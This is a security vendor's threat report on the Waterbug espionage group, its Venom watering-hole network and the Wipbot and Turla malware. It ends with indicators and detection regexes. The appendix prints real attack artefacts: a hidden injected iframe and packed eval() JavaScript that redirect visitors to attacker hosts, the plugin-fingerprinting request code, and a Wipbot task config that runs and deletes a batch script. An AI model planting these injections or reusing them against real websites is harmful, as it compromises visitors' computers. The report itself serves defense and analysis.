Spear-phishing ........................................................ 5
Venom distribution network .................................. 6
Malware ....................................................................... 10
Trojan.Wipbot ........................................................ 10
Trojan.Turla ............................................................ 11
Conclusion ................................................................... 13
Appendix ..................................................................... 15
Injection attack analysis ....................................... 15
PluginDetect library .............................................. 15
Exploits .................................................................. 17
Trojanized applications ......................................... 17
Trojan.Turla variants .............................................. 18
Detection guidance ............................................... 20
Waterbug tools ...................................................... 29
Additional exploits used ........................................ 30
Samples ................................................................. 31
Trojan.Turla C&C servers ....................................... 42Waterbug is a cyberespionage group that uses sophisticated malware to systematically
target government-related entities in a range of countries.
The group uses highly-targeted spear-phishing and watering-hole attack campaigns to
target victims. The group has also been noted for its use of zero-day exploits and signing its malware with stolen certificates.
Once the group gains a foothold, it shifts focus to long-term persistent monitoring tools
which can be used to exfiltrate data and provide powerful spying capabilities. Symantec has tracked the development of one such tool, Trojan.Turla, and has identified four unique
variants being used in the wild.
OVERVIEWINTRODUCTION
Waterbug has
successfully targeted and compromised over 4,500 computers across more than 100 countries.Page 5
The Waterbug attack group
Introduction
Waterbug is the name given to the actors who use the malware tools Trojan.Wipbot (also known as Tavdig and
Epic Turla) and Trojan.Turla (also known as Carbon, Uroburos, and Snake). Believed to have been active since
at least 2005, it is likely that the group was responsible for the 2008 compromise of US Central Command that reportedly resulted in a clean-up operation that lasted almost 14 months.
More recently, Waterbug used a zero-day exploit against the Microsoft Windows Kernel ‘NDProxy.sys’ Local
Privilege Escalation Vulnerability (CVE-2013-5065), targeted emails, stolen certificates, and a sophisticated
watering-hole distribution network known as Venom to compromise its victims. Waterbug has successfully targeted and compromised over 4,500 computers across more than 100 countries. Targets include government institutions, embassies, and education and research facilities.
The malware used on victims’ computers, variants of Trojan.Turla and Trojan.Wipbot, are likely developed by or
for the Waterbug group. Trojan.Turla has four different sub-versions, something that may indicate professional development with code shared among multiple teams.
Because of the targets chosen, the use of at least one zero-day exploit, a large network of compromised
websites, and the advanced nature of the malware used, Symantec believes that Waterbug is a state-sponsored group.
Vectors
Symantec have observed two techniques used by the Waterbug group to compromise victims: the use of highly targeted emails containing malicious attachments and a set of compromised websites which ultimately deliver a malicious payload.
Spear-phishing
In December 2013, Symantec identified several spear-phishing attacks against specific individuals. The emails used in the attacks contained a malicious Adobe Reader attachment. The attachment used one zero-day exploit against the Adobe Acrobat and Reader ToolButton Object Use-After-Free Remote Code Execution Vulnerability (CVE-2013-3346) to elevate privileges and a second patched exploit (CVE-2013-5065) to drop Trojan.Wipbot on the target’s computer. This was the first time Symantec had observed this group use a zero-day exploit in the wild.
The majority of the
emails observed in this spear-phishing attack
Figure 1. Example targeted email containing malicious PDF that drops Trojan.WipbotPage 6
The Waterbug attack group
followed a common theme using subjects such as Defence Attaché Q1 meetings or Sochi 2014 Winter Olympics.
Attachments were distributed as Adobe Reader attachments or executable files using an Adobe Reader icon.
Venom distribution network
Since at least September 2012, Symantec has identified 84 websites compromised by the Waterbug group. The chosen websites receive visitors of potential interest to the attackers—this is an example of a watering-hole attack. However, unlike traditional watering-hole attacks, where all visitors to a particular website are targeted indiscriminately, in the case of the Venom network used by the Waterbug group, the attackers use a more deliberate approach. This is done in a multi-staged fashion by firstly redirecting visitors to another malicious server. On the malicious server, a fingerprinting script is executed and this extracts configuration information from the user’s computer related to installed bowser plugins (Adobe Reader, Silverlight, Java, Flash etc.). The attackers also collect basic system and network information, such operating system version, type, browser version, and internet protocol (IP) address.
At this point, the attackers have enough information to determine if the visitor is of further interest. When an IP
address of interest is identified, such as one associated with a government institution, they proceed to create a rule specific to that IP address. This rule ensures that the next time the visitor arrives on the compromised website their computer may be sent a malicious payload instead of just being fingerprinted.
One of the techniques that the attackers used to install the malicious payload is to attempt the installation
of a Trojanized version of Adobe Shockwave. This malicious installer contains Trojan.Wipbot. Similarly, Symantec has also observed packages which have been used to drop both Trojan.Turla and Trojan.Wipbot. It is believed that Trojan.Turla is also dropped in tandem with Trojan.Wipbot in order to provide multiple communication channels as a failsafe when interacting with the compromised computer. Symantec has also observed the attackers using Trojan.Wipbot to download updated versions of Trojan.Turla after initial infection.
Once the attackers have gained
a foothold in the network, they use Trojan.Turla to collect and exfiltrate data to a first-tier proxy. This tier is comprised of legitimate, but compromised, websites. In a similar fashion, data is relocated from the first-tier proxy to a second-tier proxy server under the control of the attackers. This is done to increase the complexity of the attacker’s infrastructure and to make it more difficult to identify.
Figure 2.Trojanized Shockwave installer packagePage 7
The Waterbug attack group
Compromised websites (watering holes)
Symantec telemetry suggests the Venom network consists of 84 compromised domains (websites). These
compromised websites are located in many different countries and were used in a watering-hole style operation in which the attackers monitored and filtered visitors to those websites and focused on the ones of interest for further action. The collection of compromised websites acted like a drag net designed to gather potential targets of interest.
Symantec’s telemetry showed that thousands of computers visited the compromised websites between 2012
and 2014. Figure 3 shows how many visitors visited the compromised websites and as a result, were redirected to another malicious server for fingerprinting. This is an indicator of how many computers were caught up in the net and were scrutinized by the Waterbug attackers. The actual number of computers that became infected with Wipbot and Turla was a much smaller subset.
During our observations, the number of compromised computers increased over time, with a noticeable spike in
November, 2013. This spike coincided with an increase in traffic being redirected by the compromised websites to the malicious server. This increase in throughput may have come about because of an increase in the number of compromised websites in use.
Where are the compromised websites?
The watering-hole websites used by the Waterbug group are located in many different countries. The greatest number of compromised websites is found in France (19 percent), Germany (17 percent), Romania (17 percent), and Spain (13 percent).
Figure 3. Number of redirected computers between September 2012 and May 2014Page 8
The Waterbug attack group
Common vector
Analysis of the compromised
websites shows that the majority of them used a common content-management system (CMS) known as TYPO3. Moreover, a number of compromised websites also resided on the same net block linked to a number of hosting providers. These hosting providers’ websites promote the use of CMS-type tools, including TYPO3, as blogging platforms included in their hosting packages.
Industry breakdown
The compromised websites were further categorized based on their respective industries. The majority of compromised websites were government related (26 percent). The list included embassies, ministries of foreign affairs, and other government institutions. Publishing and media websites (23 percent) were also used by the attackers. In this case, the majority of compromised publishing websites were local news and broadcasting companies.
Despite the range and number of
websites compromised and set up as watering holes, the attackers were only interested in a very specific subset of the users who actually visited these websites.
In effect, the collection of
compromised websites acted as a net, much like a fishing net trawling for fish in the ocean. In this case, the net is set up so that unwanted catches are allowed to escape unscathed but the ones of interest were redirected (based on their
source IP address) to deliver the
payload of Wipbot or Turla or both.
Figure 5. Compromised sites categorized by industry
Figure 4. Top ten countries with compromised websites (watering holes)Whether
compromised by a targeted email attack or by browsing to an infected website...Trojan.Turla or Trojan.Wipbot is installed onto the victim’s computer.
MALWAREPage 10
The Waterbug attack group
Malware
Whether compromised by a targeted email attack or by browsing to an infected website on the Venom network,
in both cases either Trojan.Turla or Trojan.Wipbot is installed onto the victim’s computer.
Trojan.Wipbot
Trojan.Wipbot was first identified by Symantec in December, 2013 being distributed by a highly-targeted spear-phishing campaign. Later, additional samples, including Trojanized Shockwave installers signed with a stolen certificate, were also observed being distributed by the Venom network. Trojan.Wipbot is a downloader with limited back door functionality. Trojan.Wipbot has the ability to execute arbitrary commands and additional downloaded components on the infected computer. This is done through the use of a task file.
Task files consist of several sections. The first section is the command
number or ID, followed by the payload size, the payload itself, and an associated configuration script. The payload size is used by Trojan.Wipbot to allocate the correct amount of memory in order to store the binary. The payload can be an executable file (.exe or .dll) or a Windows batch script. In the majority of cases, Symantec has observed the attackers downloading batch files in order to perform reconnaissance activities on the infected network such as the collection of network and domain-specific information and login credentials to mount shares and move laterally across the network.
A configuration script is also supplied by the attackers, which specifies the
location of the file, supplied arguments, and where resultant data should be written to. The following example also instructs Trojan.Wipbot to delete the script after execution.
[CONFIG]name = C:\windows\temp\wincpt.batarg = cmd.exe /c c:\windows\temp\wincpt.batresult = c:\windows\Temp\DMR0861.datdelete = yes
The collected data is later retrieved by the attackers using additional tools.
Links between Trojan.Wipbot and Trojan.Turla
Symantec has confirmed several links tying Trojan.Wipbot and Trojan.Turla to the same group through sample analysis and telemetry.
• Trojan.Wipbot contains an embedded component known as Down.dll. The header of the component has
been stripped. The DLL itself has an export function which matches those used in Trojan.Turla samples (ModuleStart, ModuleStop).
• In Trojan.Wipbot, a Linear Congruential Generator (LCG) is used as part of the malware’s communication
protocol, specifically for encryption. Generally an LCG is used as part of a pseudo-random number generator (PRNG) in an encryption algorithm. However, in Trojan.Wipbot’s case, it uses the LCG to perform the encryption instead. Symantec has not observed LCG used for encryption of communications before. Remnants of LCG code used for encryption are also present in Trojan.Turla, specifically the same c-constant value and modulus.
• Both Trojan.Wipbot and Trojan.Turla also share a similar code structure in terms of decryption algorithms. Both use an array of characters which are stored directly on the stack followed by a simple XOR operation by a shared constant.
• Finally, Symantec has observed Trojan.Wipbot downloading Trojan.Turla onto compromised computers.
Figure 6. Example of Trojan.Wipbot
task file structurePage 11
The Waterbug attack group
Trojan.Turla
In 2008, a malware incident was reported to have affected the US Central Command Network. The incident
was the direct result of an infected removable drive that was connected to a computer on the network, which executed an autorun file launching a malicious DLL file stored on the drive. This was dubbed the BTZ Incident
and was considered one of the worst breaches of US military computers in history. The malware, which Symantec called Trojan.Minit (also known as Agent.BTZ), had the ability to spread through a network, gather sensitive information, and exfiltrate data to a remote command-and-control (C&C) server.
Since then, multiple links have been established between Trojan.Minit and recent samples of Trojan.Turla. The
most infamous link is the use of a shared XOR key across these two families. This key has been used by the attackers to encrypt log data and has also been used in a number of custom tools used by the Waterbug group.
Trojan.Turla is an extremely persistent, sophisticated malware, professionally developed with extensible
capabilities and used exclusively by the Waterbug group. Trojan.Turla is built from a framework that is designed for long-term monitoring of targeted individuals or organizations and has been in operation since at least 2005. Both 32-bit and 64-bit samples have been identified in use in the wild. Analysis has determined that Trojan. Turla is essentially an extensible platform which appears to share common components between variants through the use of a common framework.
Symantec has identified four unique variants of Trojan.Turla, all of which use shared components. Details on the
relationships between the variants are discussed in the following section.
Variants
Symantec has identified four unique variants of Trojan.Turla which have been in development between 2005 and 2014.
• ComRAT is a direct descendant of the Agent.BTZ malware that was in use in 2008. Development of this variant
has continued and recent samples, compiled in 2013, have been identified.
• The earliest variant of FA (so named because of debug strings linking to project fa64) was compiled in 2005.
Figure 7. Variants of Trojan.Turla identified by SymantecPage 12
The Waterbug attack group
This variant has seen continuous development from 2009 to 2014.
• Carbon is the most unique of all four variants. Carbon is distributed in two forks—a driver-based version
(rootkit) and a driver-less version. Early variants of Carbon were identified in 2007, 2008, and 2009. The majority of Carbon’s code has received minor incremental updates seen in recent samples identified in 2014. The most closely related variant to Carbon is SAV.
• SAV (also known as Uroburos) is a recent variant of Trojan.Turla which has been in development since at least 2011 and has received incremental updates through to 2014.
Analysis of these variants shows common code structures, shared components, and a continuous development
which has run in parallel since at least 2005.
Relationships
The identified cases of code sharing are usually within specific sub-modules, such as IDT Hooking, or within helper code. An examination of features from the Carbon and FA drivers in this section illustrates this. The relationship between Carbon and SAV is more complex and will be described separately.
Carbon and SAV
When Carbon was first developed, the driver-based and driver-less forks used a custom communication module which supported multiple protocols including Transmission Control Protocol (TCP), Named Pipes (NP), and Multipoint-to-Point (M2P). When SAV first appeared in 2011, it was based on the driver-based fork of Carbon. However, injected components were significantly changed or possibly rewritten. Shared features included the communication module. This suggests that SAV is derived from Carbon.
FA, Carbon, and SAV
In June 2007, Carbon drivers already included the use of specific error code values which may have originally been implemented as part of the communication channel code. FA Drivers introduced the use of these error code values between August, 2008 and December, 2009 as part of a major refactoring effort.
Additionally, FA and SAV also shared a custom packer used exclusively by the Waterbug group. By 2009, FA had
begun using the custom packer for user-mode components. Carbon did not use the packer in any of the collected samples, whereas SAV used the packer for multiple components.
These relationships indicate that features were developed separately, and later migrated to other projects. This
sharing may be due to copying parts of source code (possibly entire folders) between independently developed projects. Page 13
The Waterbug attack group
Shared features
The driver-based column indicates rootkit functionality such as that found in Carbon and SAV. The driver-less
column indicates the use of user-mode API hooking. An encrypted file system was also found in two of the variants, Carbon and SAV. This is an NTFS file, encrypted using 128-bit CAST in CBC mode. In other variants, a directory structure was used and encryption was performed using simple byte-by-byte XOR encryption (using the same key used in Agent.BTZ). Code sharing shows trace evidence or remnants of code from earlier versions still present in recent samples. One such example is the use of LCG and associated constant values in the decryption algorithm.
Conclusion
Waterbug is a capable group that is highly skilled in compromising its targets and has systematically targeted governments and embassies since as early as 2005. The continued development of the tools used by Waterbug suggests that the group has made a significant investment in time and resources. This coupled with the selected targets and the advanced nature of the malware used suggests that Waterbug is most likely a state-sponsored group whose motive is intelligence gathering.
Figure 8. Shared features across Trojan.Turla variantsAPPENDIXPage 15
The Waterbug attack group
Appendix
Injection attack analysis
The compromised websites use an injected iframe or some obfuscated JavaScript in order to redirect visitors to
a malicious host, specifically to a web page (main.php) that is used to perform standard plugin checks or system fingerprinting.
The following is an example of an injected iframe and obfuscated JavaScript:
Iframe injections
<div style=”visibility: hidden;”><iframe src=”http://image.servepics.com/css/
main.php” width=”2” height=”2” scrolling=”no” frameborder=”0”></iframe></div>
Obfuscated JavaScript injections
<script type=”text/JavaScript”>eval(function(p,a,c,k,e,d){e=function(c){returnc.toString(36)};if(!’’.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){returnd[e]}];e=function(){return’\\w+’};c=1};while(c--){if(k[c]){p=p.replace(newRegExp(‘\\b’+e(c)+’\\b’,’g’),k[c])}}return p}(‘c.b=d(){e1=3.g(\’f\’);1.2(\’a\’,\’6://4.5.9/7-8/h/o/i.r\’);1.2(\’q\’,\’0\’);1.2(\’s\’,\’0\’);1.2(\’t\’,\’u\’);1.2(\’p\’,\’0\’);1.k.j=\’l\’;3.m.n(1)}’,31 -
,31,’|elem _ js|setAttribute|document|newsweek|serveblog|http|wp|includes|net|src|onload|window|function|var|iframe|createElement|js|main|display|style|none|body|appendChild|css|frameborder|width|php|height|scrolling|no’.split(‘|’),0,{}))</script>
PluginDetect library
When main.php is loaded, it runs a number of JavaScript files from a library known as PluginDetect (v0.8.5).
PluginDetect is a legitimate library used to detect browser plugins (the most recent version is 0.8.7). The PluginDetect library is intended to work with all the major browsers including Internet Explorer 6 and up, Firefox, Mozilla, Netscape, Chrome, Safari, Opera, SeaMonkey, Flock, and others. It is possible to generate custom PluginDetect scripts which only retrieve version information for specifically chosen plugins as per
http://www.pinlady.net/PluginDetectArchive/0.8.5/download/.
Symantec has identified two versions of the main.php script file. The following table provides an overview of the
information collected for each of the two versions, which perform similar actions:
Table 1. Identified versions of main.php
File name MD5 Targeted software Description
main.php 764d67a1dcb2449e2aa6dc3e59a5265f • Java
• Flash
• Adobe Reader
• QuickTime
• Shockwave
• Windows Media Player
• Microsoft Office Word Performs POST request to remote ajax.php
script. JavaScript file jquery.min.js contains all the PluginDetect files.
main.php bd07a78793641dc85cf75dc60c06051a • Adobe Reader
• Java
• Flash
• Shockwave
• QuickTime
• SilverlightPerforms GET request to remote wreq.php script. This version contains Silverlight PluginDetect code.Page 16
The Waterbug attack group
When main.php is loaded, regardless of the version used, it checks if JavaScript is supported on the redirected
browser. If JavaScript is not available, it generates the parameter, nojs.php?j=no, and provides the address of the compromised website that the user was redirected from in the &ref= parameter:
<noscript><meta http-equiv=’refresh’ content = ‘0;URL=nojs.php?j=no&ref=--’ /></noscript>
However, if JavaScript is available, main.php proceeds to collect the software version information listed in Table 1. Depending on the version of the main.php script used to collect plugin information, it either performs a GET request or a POST request using the following parameters:
POST request
xmlhttp.send(‘js=’ + encodeURIComponent(js) + ‘&v _ s=’ +
encodeURIComponent(v _ s) + ‘&v _ f=’ + encodeURIComponent(v _ f) + ‘&v _ a=’
+ encodeURIComponent(v _ a) + ‘&v _ m=’ +encodeURIComponent(v _ m)+ ‘&v _ q=’+ encodeURIComponent(v _ q) + ‘&msw=’ + encodeURIComponent(msw) + ‘&v _ ja=’
+ encodeURIComponent(v _ ja) + ‘&ref=’ + encodeURIComponent(ref));
Exampleimage.servepics.com/css/ajax.php?js=ok&v _ s=null&v _ f=11.8.800.94&v _
a=11.0.0.0&v _ m=null&v _ q=null&msw=2007&v _ ja=1.7.0.51&ref=http%3A//www.bjc.es/&v _ sl=5.1.20513.0
GET request
window.location.href = ‘wreq.php?js=ok&v _ s=’+shock()+’&v _ f=’+fla()+’&v _a=’+acro()+’&v _ m=’+v _ m+’&v _ q=’+qtime()+’&msw=’+offchk()+’&v _ ja=’+jav()+’&ref=’+escape(ref)+’&v _ sl=’+silver();}
Exampleimage.servepics.com/css/wreq.php?js=ok&v _ s=null&v _ f=12.0.0.41&v _ a=null&v _
m=null&v _ q=null&msw=null&v _ ja=1.7.0.51&ref=http%3A//www.motril.es/index.php%3Fid%3D359&v _ sl=null
Additional PluginDetect files
Symantec has identified one additional script (similar to ajax.php and wreq.php) that performs the same actions previously described. It is possible that these files represent different versions of the backend script used to parse the collected information used in the attack.
• /css/ajax.php
• /css/ajax.php
• /wp-admin/js/css/ajax.php
• /wp-includes/js/css/ajax.php
• /css/wreq.php
• /wp-includes/js/css/wreq.php
• /css/wreq.php
• /css/ajax.php
• /wp-admin/js/css/1267.php
Parameters
Table 2 shows the parameters
used in the URLs generated from the PluginDetect library, which hold plugin version information.Table 2. Parameters used by PluginDetect library
Parameters Code Description
js Enabled JavaScript. If compatible, string ‘ok’ is set to parameter
value.
v_s Enabled Shockwave
v_f Enabled Flash
v_a Enabled Adobe Reader or generic PDF reader
v_m Disabled Disabled in code. Used to hold WindowsMediaPlayer
version information.
v_q Enabled QuickTime
msw Disabled Disabled in code. Code does not initialize
offchk() function - MSOffice detect.
v_ja Enabled Java Runtime Environment
ref Enabled Compromised site
v_sl Enabled Silverlight. Only present in main.php
(MD5: bd07a78793641dc85cf75dc60c06051a).Page 17
The Waterbug attack group
All plugin scripts use the PluginDetect library from version 0.8.5 with the exception of main.php
(MD5: bd07a78793641dc85cf75dc60c06051a) which uses the PluginDetect script version 0.8.6 for Silverlight.
Exploits
The scripts (main.php, main.jpg, wreq.php etc) contained additional code which is used to exploit Internet
Explorer 6, 7, and 8. Additional exploits were also identified targeting Oracle Sun Java and Adobe Flash Player using the Oracle Java SE Remote Code Execution Vulnerability (CVE-2012-1723). Unfortunately, not all exploits could be retrieved for analysis.
The payload dropped by the Java
exploit was found to be:
• MD5: d7ca9cf72753df7392bfeea834
bcf992
The above sample was confirmed as
Trojan.Wipbot.
Trojanized applications
The attacker group also used Trojanized applications in order to trick users into installing a malicious payload. In one such example, a Shockwave Player installer bundle was found to be Trojanized and silently installed Trojan.Wipbot.
The installer was signed with
a certificate from Sysprint, an organization based in Switzerland.
There have been additional reports of
Trojanized Microsoft Security Essential packages being used.
Figure 9. Trojanized Shockwave installer bundle
Figure 10. Sysprint digital certificate used to sign Trojanized Shockwave installerPage 18
The Waterbug attack group
Trojan.Turla variants
Custom packer
Packers or executable compressors are common techniques used by malware authors in order to evade antivirus
(AV) detection. The packer used with Trojan.Turla is unique to the group and has not been observed being used with any other malware.
This custom packer, used exclusively by the Waterbug group, was used for packing various components since
at least 2009. The stub included in the packed driver-based variants includes the same error code value ranges as was observed in Waterbug-specific communication code. This is a strong indication that attackers maintain the packer in-house.
It was found that the FA dropper from 2009
included a non-packed driver and a packed external communication component, but the dropper from 2011 included a packed driver and a non-packed external communication component. However, for SAV, the dropper, driver, and other components were all packed using the custom packer from 2011.
Symantec is aware of five generations of the custom
packer:
• Custom A was encountered in FA external
communication component (February-December 2009)
• Custom B, variant preA was encountered in FA dropper (January 2010)
• Custom B, variant A was encountered in FA external communication component (June 2010)
• Custom B, variant B was encountered in various SAV components (June 2011-May 2013) and FA driver (December 2012-January 2014)
• Custom B, variant C encountered in SAV driver (October 2013-March 2014)
It is worth noting that another, somewhat simpler,
packer was used for packing the Trojan.Wipbot dropper (custom dotNET used by single sample).
Error code ranges
Many of the Waterbug-specific subroutines present in various kernel-mode samples use constants from range 0x21590001..0x21590258 as error codes. It is interesting to note that this range corresponds to 0xDEA6FXXX.
The following components include code with these
constants:
• Stub of custom packer present in packed kernel-mode
binaries
• FA drivers (except for samples earlier then 2008)
• Carbon drivers
• SAV driversTable 3. Error code messages
Error code Message
0 no error
ffffffff error has been suddenly occured
21590001 function unsupported
21590002 timeout condition has been occured inside call of function
21590003 peer has closed the connection
21590004 no memory
21590005 object not found
21590006 execution has been canceled
21590007 not enough server resources to complete opera-tion
21590008 access violation
21590009 socket error
2159000a invalid network buffer received
2159000b too long data for this type of transport
2159000e no data was received
21590064 invalid function call
21590065 sanity check: invalid parameter 1 in function call
21590066 sanity check: invalid parameter 2 in function call
21590067 sanity check: invalid parameter 3 in function call
21590068 sanity check: invalid parameter 4 in function call
21590069 sanity check: invalid parameter 5 in function call
2159006a sanity check: invalid parameter 6 in function call
2159006b sanity check: invalid parameter 7 in function call
2159006c sanity check: invalid parameter 8 in function call
2159006d sanity check: invalid parameter 9 in function call
215900c8 invalid address specified
215900c9 invalid local address
215900ca invalid local port
215900cb invalid remote address
215900cc invalid remote port
2159012c invalid credentials
2159012d secure connection failed
21590258 licence errorPage 19
The Waterbug attack group
Several samples also include a table mapping these error codes to messages. This table is apparently part of a
source file with the following versioning information:
$Id: t _ message1.c 5290 2007-01-26 11:15:03Z vlad $
The table mapping error codes to messages is composed of a number of entries (See Table 3).
With all verified components, error codes seem consistent with the above table. However, use of additional error
codes within this range were also observed that are not included in this table.
Additional shared features
Additional shared features observed during analysis are detailed below.
IDT hooking
Symantec observed sharing of IDT hooking code used in FA, Carbon (not present in samples earlier than 2009), and SAV drivers. All have been observed using interrupts 0x55 or 0xC3 in the following method:
kd> u nt!NtReadFilent!NtReadFile:8057c4a8 6a06 push 6 ; integer pushed.8057c4aa cdc3 int 0C3h ; interrupt.8057c4ac 94 xchg eax,esp8057c4ad 4d dec ebp8057c4ae 80e88c sub al,8Ch8057c4b1 f8 clc8057c4b2 fb sti8057c4b3 ff33 push dword ptr [ebx]
It is worth noting that higher-level code implemented on top of these hooks differ significantly across variants, where SAV is considered the most sophisticated.
FA source code tree
The FA variant includes debug string information that corresponds to source code files. Some full and partial paths are also indicated in the strings. It is possible that the source code tree for FA may have contained the following directory structure:
d:\proj\cn\fa64\common\helpers\ntsystem\../../unichar _ common.c ..\common\helpers\ntsystem\event.c $Id: event.c 14097 2010-11-01 14:46:27Z gilg $ ..\common\helpers\ntsystem\mutex.c $Id: mutex.c 14516 2010-11-29 12:27:33Z gilg $ ..\common\helpers\ntsystem\named _ mutex.c $Id: named _ mutex.c 15594 2011-03-18 08:04:09Z gilg $ ..\common\helpers\ntsystem\nt.c $Id: nt.c 20719 2012-12-05 12:31:20Z gilg $ ..\common\helpers\ntsystem\rw _ lock.c $Id: rw _ lock.c 14516 2010-11-29 12:27:33Z gilg $ ..\common\helpers\ntsystem\unichar.c $Id: unichar.c 14481 2010-11-27 19:52:15Z gilg $ ..\common\helpers\interface _ s.cd:\proj\cn\fa64\common\loadlib\common/loadlib _ helpers.cd:\proj\cn\fa64\common\loadlib\win/loadlib.cd:\proj\cn\fa64\uroboros\rk _ common\libhook\common/libunhook.cd:\proj\cn\fa64\uroboros\rk _ common\libhook\common/hook _ helpers.cd:\proj\cn\fa64\uroboros\rk _ common\libhook\common/libhook.cd:\proj\cn\fa64\uroboros\rk _ common\libhook\common/idthook.cd:\proj\cn\fa64\uroboros\rk _ common\libhook\ntsystem/libhook.c ..\k2\fa _ registry.cPage 20
The Waterbug attack group
..\k2\syshook.c
The code tree suggests that there may be common helper code shared, such as rootkit functionality (rk_common,
common\helpers etc.). It is likely that these components are shared across variants of Trojan.Turla.
This is also consistent with the PDB strings extracted from FA variants:
d:\proj\cn\fa64\sengoku\_ bin\sengoku\win32_ debug\sengoku _ Win32.pdb
Agent.BTZ XOR key
A number of keys are shared across the Trojan.Turla variants. Of particular interest is the following XOR key
known from Agent.BTZ. This key has also been identified in a number of tools used by the Waterbug group:
1dM3uu4j7Fw4sjnbcwlDqet4F7JyuUi4m5Imnxl1pzxI6as80cbLnmz54cs5Ldn4ri3do5L6gs9
23HL34x2f5cvd0fk6c1a0s\x00
The above XOR key was found in ComRAT and FA components starting from 2006.
Encrypted file system
Carbon (driver-based) and SAV utilize an encrypted file system (EFS) to store configuration files, log information, tools, and exfiltrated data. These variants use CAST-128 bit encryption in CBC mode. A unique initialization key (IV) was used across these drivers:
A1D210B76D5EDA0FA165AFEF79C366FA
Note other samples also have remnants of the EFS code which is never used.
Detection guidance
Targeted injection attacks
Iframe injection
Upon visiting a compromised domain, the user is redirected to a dynamic DNS host which performs fingerprinting operations to identify the version information for several browser plugins, as described in the technical details of this document.
Examples
• [http://]image.servepics.com/css/main.php
• [http://]cqcount.servehttp.com/css/main.php
• [http://]newsweek.serveblog.net/wp-includes/js/css/main.php
Regex• .*\ /css\ /main\.php.*
Fingerprinting
Once a user has been successfully redirected, a PluginDetect script is loaded. This identifies version information
for Java, Flash, Adobe Reader, QuickTime, Shockwave, Silverlight etc.
Examples
• adobes3.sytes.net/macromedia/get/shockwave/latest/sitenavigation.js
• adobe.serveusers.com/macromedia/get/shockwave/latest/sitenavigation.php
Regex• . *\/ macromedia \/ get\/ shockwa ve \/lat est\/ s it ena vigation. *
The collected information is POST’ed to another page hosted on the same domain. Thus far, we have observed
the use of wreq.php, ajax.php, and main.jpg.Page 21
The Waterbug attack group
Examples
• image.servepics.com/css/wreq.php?js=ok&v_s=null&v_f=13.0.0.206&v_a=11.0.0.0&v_m=null&v_
q=7.7.1.0&msw=null&v_ja=1.7.0.55&ref=http%3A//www.motril.es/&v_sl=null
• cqcount.servehttp.com/css/wreq.php?js=ok&v_s=null&v_f=11.6.602.180&v_a=9.3.0.0&v_m=null&v_q=null&msw=2003&v_ja=null&ref=http%3A//www.master-photonics.org/index.php%3Fid%3D60&v_sl=5.1.20913.0
• image.servepics.com/css/ajax.php?js=ok&v_s=null&v_f=12.0.0.70&v_a=11.0.6.0&v_m=null&v_q=null&msw=null&v_ja=1.6.0.33&ref=http%3A//www.motril.es/index.php%3Fid%3D520&v_sl=null
Regex
• .*js=ok&v_s=.*
Trojan.Wipbot
Trojan.Wipbot has been observed using the following network communication(s) in order to initiate
communication with the C&C server.
Pattern one
GET /wp-content/themes/profile/?rank=[FIVE DIGITS]
Example
• /wp-content/themes/profile/?rank=22503
Regex• .*\?rank=[0-9]{5}.*
Pattern two
GET /includes/header.php?rank=[FIVE DIGITS]
Example• /includes/header.php?rank=67675
Regex• .*\.php?rank=[0-9]{5}.*
Pattern three
Wipbot has been observed using the following communication(s) in order to exfiltrate data from a compromised
computer.
GET /[DIRECTORY]/[PAGE].php?option=com _ content&catid=[TEN DIGITS]&task=[SEVEN CHARACTERS]&id=[TEN DIGITS]&view=category&Itemid=[TEN DIGITS]&link=[EIGHT DIGITS]:[FOUR CHARACTERS]&layout=[TWO DIGITS]:[SEVEN CHARACTERS]
Example
GET /Connections1/formulaire15.php?option=com _ content&catid=2956129479&task=65g7ka0&id=1869153034&forumid=1549520913&view=category&Itemid=3900082516&link=20140715:GBaH&layout=28:article
Regex
• .*(\?option=).+(&catid=).+(&task=).+(&forumid=).+(&view=).+(&Itemid=).+(&link=).+(&layout=).*
Trojan.Turla - URL detection regex
Pattern one
Trojan.Turla has been observed using the following network communication(s) in order to retrieve the command Page 22
The Waterbug attack group
file from the remote C&C server.
GET /[ONE CHARACTER]/[EIGHT NUMBERS]
Example
• /C/77568289
Regex• .*(\ /[A-Z]{1}\ /[0-9]{8}).*
Pattern two
GET /[ONE CHARACTER]/[ONE NUMBER]/[16 CHARACTERS OR NUMBERS]1c0
Example• /H/1/8fda73d3070d6b701c0
Regex• .*([A-Z]{1}\/[0-9]{1}\/[a-z0-9]{19}).*
Pattern three
Trojan.Turla has been observed using the following test communication. Initially it attempts to retrieve pub.txt
or pub.html file as a method of authenticating against the remote C&C server:
GET /[ONE CHARACTER]/pub.txt
Examples
• /H/pub.txt
• /C/pub.txt
Regex• .*([A-Z]{1}.\ /pub\.txt).*
Pattern four
Trojan.Turla has been observed using the following test communication. Initially it attempts to retrieve pub.txt
or pub.html file as a method of authenticating against the remote C&C server:
GET /[COUNT/IMAGE/MEDIA/PIC/PUBLIC]/pub.html
Examples
• /COUNT/pub.html
• /IMAGE/pub.html
Regex
.*(\/PIC|\/IMAGE|\/PUBLIC|\/COUNT|\/MEDIA).*(\/pub\.).*
Pattern five
GET /[COUNT|IMAGE|MEDIA|PIC|PUBLIC]/[16 CHARACTERS OR NUMBERS]1c0
Examples• /MEDIA/1/80d0a0aca8ba508e1c0
• /PIC/1/c4c8f8006c2bc74a1c0
Regex• .*(\/PIC|\/IMAGE|\/PUBLIC|\/COUNT|\/MEDIA\/[a-z0-9]{19}).*Page 23
The Waterbug attack group
Pattern six
In February 2014, Symantec observed updated C&C communication activity related to Trojan.Turla variants.
GET/POST /index/index.php?[64 CHARACTERS OR NUMBERS]
Example
• /index/index.php?4eKDJVxSzbjg%2fvYt604CuOHikx06NqyP0oawFWtiqY6D1bMlXFLNuOHigyVcUs35yOKDJVx
SzQ%3d%3d
Regex
• .*(\/index\/index\.php?).*
Pattern seven
GET /[COUNT/IMAGE/MEDIA/PIC/PUBLIC]/N00/index.asp?name=\[ONE NUMBER]\[SIXTEEN
CHARACTERS OR NUMBERS]1c0
Examples
• /IMAGE/N00/index.asp?name=\1\d36f5cf07ad6fba61c0
• /COUNT/N00/index.asp?name=\1\8fda73d3070d6b701c0
Regex
.*(\/PIC|\/IMAGE|\/PUBLIC|\/COUNT|\/MEDIA).*(index.asp?name=).*
Pattern eight
GET/POST /N00/cookie.php
Regex• .*(\ /N00\ /cookie\.php).*
Pattern nine
The following C&C communication pattern is related to pattern two and pattern five URLs. The same 16 bytes are
used to generate the 64-byte query string for pattern six.
GET/POST /index/index.php?h=[RANDOM CHARACTERS AND NUMBERS]&d=[RANDOM CHARACTERS AND NUMBERS]
Examples
